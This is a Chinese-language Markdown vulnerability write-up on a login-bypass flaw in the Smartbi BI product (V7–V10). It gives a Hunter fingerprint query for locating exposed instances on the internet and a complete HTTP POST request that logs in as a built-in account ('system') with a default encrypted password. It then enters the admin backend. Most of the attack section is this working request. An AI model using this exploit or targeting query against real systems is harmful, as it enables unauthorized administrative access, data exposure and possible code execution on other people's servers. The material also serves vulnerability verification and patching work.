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59 lines
2.8 KiB
Markdown
59 lines
2.8 KiB
Markdown
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# Smartbi内置用户登陆绕过漏洞
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# 一、漏洞简介
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Smartbi大数据分析产品融合BI定义的所有阶段,对接各种业务数据库、数据仓库和大数据分析平台,进行加工处理、分析挖掘和可视化展现;满足所有用户的各种数据分析应用需求,如大数据分析、可视化分析、探索式分析、复杂报表、应用分享等Smartbi在安装时会内置几个用户,在使用特定接口时,可绕过用户身份认证机制获取其身份凭证,随后可使用获取的身份凭证调用后台接口,可能导致敏感信息泄露和代码执行。
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# 二、影响版本
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+ V7 <= Smartbi <= V10
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# 三、资产测绘
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+ hunter:`app.name=="SMARTBI 思迈特"`
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+ 登录页面
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# 四、漏洞复现
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1. 访问POC出现如下情况则可能存在漏洞
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```plain
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/smartbi/vision/RMIServlet
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```
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2. 使用POST请求如下params:其中的第一个参数是内置的三个用户名(public、service、system)可随机构造绕过登录,第二个参数是三个账号默认的密文密码(默认值为0a),当响应如下,且`result`参数为`true`时表示存在漏洞。
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```plain
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POST /smartbi/vision/RMIServlet HTTP/1.1
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Host: xx.xx.xx.xx
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Encoding: identity
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Content-Type: application/x-www-form-urlencoded
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Cookie: JSESSIONID=B08E6669BFA8E9D85FB6BD98411C349C
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Origin: https://smartbi.cy-sys.cn
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Referer: https://smartbi.cy-sys.cn/smartbi/vision/RMIServlet
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Sec-Fetch-Dest: document
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Sec-Fetch-Mode: navigate
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Sec-Fetch-Site: same-origin
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Sec-Fetch-User: ?1
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
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Content-Length: 81
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className=UserService&methodName=loginFromDB¶ms=["system","0a"]
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```
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3. 访问`https://xx.xx.xx.xx/smartbi/vision/index.jsp`成功进入后台
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> 更新: 2024-02-29 23:55:51
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/fkhbh9sf2269nv0m>
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